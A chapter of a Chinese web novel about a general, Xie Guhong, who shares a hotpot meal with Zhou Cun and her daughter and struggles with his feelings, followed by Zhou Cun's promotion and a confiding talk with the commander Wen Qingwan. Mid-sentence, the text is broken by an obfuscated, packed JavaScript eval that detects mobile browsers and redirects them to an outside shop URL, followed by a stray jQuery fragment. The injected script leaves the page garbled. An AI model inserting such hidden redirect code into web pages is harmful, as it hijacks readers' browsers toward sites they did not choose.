谢孤鸿抬眼看她。
这个女人呼吸匀称、面色正常,甚至摆弄食材的动作也正常。
看来是无恙。
“我来看看巧儿。”
谢孤鸿抬手将巧儿抱了起来。
周存的眼神在两人身上流转。
什么时候两人的关系这般好了。
停下手中的活计,诊侯卒每日例行看诊。
留下药之后马不停蹄的告辞。
周存看着旋风一般的老头儿目瞪口呆。
往常有了好吃的,老头儿也会留下吃饭。
今日是怎么了?
谢孤鸿抱着巧儿转了两圈,很自然的围着桌子坐下。
周存有些尴尬。
“将军能吃辣吗?”
“能!”
“将军喝酒吗?”
谢孤鸿抬眼看着明显心虚的女人,眼神中带着笑意。
“我饿了,想要吃饭。”
“能吃辣,也能吃番茄锅。”
“只是不能饮酒,因为军中有律法规定白日不能饮酒。”
周存算是看明白了,谢孤鸿就是想留下吃饭。
好好好。
周存讪笑两声,转身进了房间。
她得有地方做掩护从空间中拿碗筷不是?
见周存别扭的拿来碗筷,谢孤鸿毫不客气的接下。
巧儿没有察觉到两人之间的暗流涌动,她扯着谢孤鸿的袖子介绍她的大黄。
“叔叔,这是大黄,是我们路上捡的小狗。”
刚看到大黄的模样,谢孤鸿吓了一跳。
饶是他见过最诡异的人面狗,也没有被惊吓到。
“这是什么狗?”
这狗身上套着灰色“衣裳”,露出的狗头和四肢没有半分血肉之躯的模样。
巧儿摸着大黄,冰凉的触感传来。
“大黄好可怜的,这么大的时候被人用钢筋浇灌成了这副模样。”
“叔叔,你不要怕它好吗?”
“它不咬人的。”
一听就是周存教给她的说辞。
一个小孩子哪里知道什么钢筋什么浇灌的?
不过,既然巧儿这么说了,谢孤鸿不想扫她的兴。
“原来如此,巧儿真是人美心善的小姑娘。”
谁人不想被夸奖。
尤其还是被这般厉害的人夸奖。
巧儿坐的笔直,满脸骄傲。
周存没好气的吩咐道。
“行了,别臭屁了,锅子开了,下肉。”
薄薄的肉片被下入滚烫的汤汁中,很快便变了颜色。
“叔叔,肉变颜色就可以吃了。”
巧儿化身为专家,教谢孤鸿捞肉吃。
其实,锅子在军队并不少见。
这里的锅子通常只是拿白水煮菜。
像周存吃的这么麻辣鲜香,谢孤鸿还是第一次见。
不过即使对火锅再疑惑,谢孤鸿还是不会问的。
他可不能什么事都问,这样显得他多没有见识。
巧儿关闭话匣子,一个劲儿吃肉。
周存一个劲儿的给她夹肉。
两人忙的不亦乐乎。
只有谢孤鸿是个局外人。
周存是何等人物。
她快速捕捉到谢孤鸿落寞的神色。
不过,她只当是想谢孤鸿贵为将军,肯屈尊降贵来吃饭已经是够给周存面子了。
她还冷落人家。
真不是人。
周存慌忙拿了漏勺,将慢慢一勺子肉放在谢孤鸿的碗中。
“将军,请吃肉。”
刹那间,落寞的神色淡去,只余周存无法看透的眼神。
周存心中泛起了嘀咕。
怎么回事儿?
这给了肉,全了将军的脸面,怎么还甩脸子呢?
真是男人心,海底针。
“锅子很好吃,你是从哪弄的调料?”
海底针冷不丁的出声,周存吓了一跳。
“你说锅底啊?”
“我路过川渝,在当地买的。”
“你不是平原人士?”
“怎么去了川渝?”
谢孤鸿放下筷子,幽幽的看着周存。
周存顺势假装被肉烫了,“斯哈”着嘴巴。
“我,我这是......”
“咳咳......”
见她被烫的满脸通红,谢孤鸿拿起手边的毛巾递给她。
“小心些。”
语气温柔的不像话,连巧儿都忍不住抬头看了他一眼。
当然,也只有一眼而已。
周存眨巴着眼睛,伸手接过毛巾擦着嘴边的残渍。
谢孤鸿低头看着自己的手。
方才两人接递毛巾的途中,周存的手指扫过了谢孤鸿的手心。
那一瞬间,痒痒的。
却让他心头战栗。
像是羽毛扫过心间。
心痒痒的,头皮也痒痒的。
这种酥麻感让他无所适从。
舒服,却也有些难受。
他今年二十五,曾经心动过、心死过。
可是现在,他觉得自己的心间平白无故落下了一颗种子。
不知什么时候,这颗种子已经生了根发了芽。
谢孤鸿意识到这些,连忙甩了甩脑袋。
国家处于危机时刻,他怎能眷恋一时的儿女情长?
兄弟姐妹们还在受苦,他怎能陷入温柔乡?
妻子的尸骨未寒,他怎么能移情别恋?
“我吃饱了,先回去了。”
落筷、起身,不带一丝拖泥带水的。
等周存和巧儿反应过来的时候,谢孤鸿已经走出了院子。
“将,将军,你不再吃点?”
谢孤鸿并没有答话。
巧儿抬头,周存两人面面相觑。
“娘,叔叔是怎么了?”
“我可没有抢他的肉吃!”
周存将剩下的肉全部捞进巧儿的碗中。
“我知道,不是你的问题。”
周存说不清楚是谁的问题。
反正也不是她的问题。
与其内耗自己,不如责怪他人。
男人的心,真是比针眼还小!
军中的嘉奖下来了。
周存被封为女子营一旅一排一连三火的火长。
手下管着十个士兵。
其中包括周清浅。
“周存,不,火长,你身子好些了吗?”
周清浅看见周存回到军营,扯着周存来回查看。
“听说你受得伤很重,营长下令不让我们去打扰你。”
周存在周清浅面前转了两圈。
“好了,好了,都好了。”
“皮外伤算是都好了,只不过诊侯卒说还得多休息。”
经过半个月的疗养,周存的身子好了个彻底。
只是在旁人面前还是得有所顾忌。
伤筋动骨一百天,即使周存受的都是外伤,如今身子好到这个程度,也算是医学奇迹。
“火长,你不知道,这几日你不在,关于你的传闻都传疯了。”
周清浅压低了声音。
“什么传闻?”
周存十分好奇。
周清浅将周存拉倒角落里,观察四下无人才继续说道。
“她们说你是天神下凡,来拯救
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882156|210244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大周的。”
周存一听,这不胡扯吗?
世人惯会用鬼神怪力之说逃避现实。
“真的!”
周清浅眼中多了几分崇敬。
“瘟疫爆发时,你带着药出现。”
“粮草短缺时,你带着水粮出现。”
“鞑子来犯时,你又斩杀了这么多鞑子。”
“你说,你不是天神赐给大周的希望,是什么?”
周存摸着脑袋,她怎么也想不通只不过是卧床养病了一段时日,回来就成神仙了。
下午,温清婉让周存去了营帐。
“在营中还习惯吗?”
周存浑身起了鸡皮疙瘩。
“营长,你别这么跟我说话,怪渗人的。”
“我还是喜欢你之前高傲的模样。”
温清婉看着眼前的镇纸,在想要不要扔在周存的身上。
周存似乎看穿了她的想法,“嘿嘿”一笑。
“这才是我心目中的温营长。”
“敢问温营长找我何事?”
温清婉没好气的白了她一眼。
“说实话,我挺羡慕你的。”
周存指着自己的鼻子,“羡慕我?”
温清婉点了点头。
周存有些好笑。
“你羡慕我什么?”
“我一介民妇,乱世带着女儿四处逃生。”
“你是高高在上的温营长,要家世有家世,要地位有地位。”
“你羡慕我什么?”
温清婉就知道周存会这么问。
“我是家世好,可家世是谁人能挑选的?”
“我从小就被寄予厚望,每日的功课要做第一。”
“女红要第一。”
“跳舞要第一。”
“书法要第一。”
“可是,我只喜欢舞刀弄棒,一点都不喜欢琴棋书画。”
“我说到这个份上,可想而知小时候有多不受父亲的待见。”
家家有本难念的经,周存抿了抿嘴唇只得说道。
“不会吧,你父亲不是对你挺好的?”
“看你的面子上,给咱们营中捐了很多粮草。”
温清婉自嘲似的摇摇头。
“我若不是女子营的营长,估计父亲连看都不看我一眼。”
仿佛打开了话匣子,温清婉朝周存吐着苦水。
从小温清婉便被父母寄予众望。
她从小的目标就是学好琴棋书画,将来嫁入皇家。
若是能嫁给东宫更好,他们家不是没有出过皇后。
正因为如此,温清婉才会被重视。
可是,她一点都不想被重视。
十五岁从家中逃出入军营。
如今,她也只是十九岁的人。
这四年,她死了多少次,又被救了回来。
直到被上峰请示封为营长的文书传出,她父亲才得知了女儿的去向。
这次,温清婉没有受惩罚。
相反,她成为了家族的骄傲。
随之而来的资源朝她倾斜。
“我走之后,父亲抬了庶出的妹妹记在我母亲的名下,接替了我原来的命运。”
“若不是我杀出一条血路,恐怕族谱上早就没有了我的名字。”
周存不语,她没法感同身受。
温清婉扯着唇角,溢出一抹苦笑。
“我跟你说这些,不是想让你同情我。”
“我是不喜欢你,但仅限于你能得到将军的青睐。”
“并不影响你的优秀。”
周存眯眼,“青睐?”
温清婉愣了愣,“你该不会不知道我跟你敌对的原因吧?”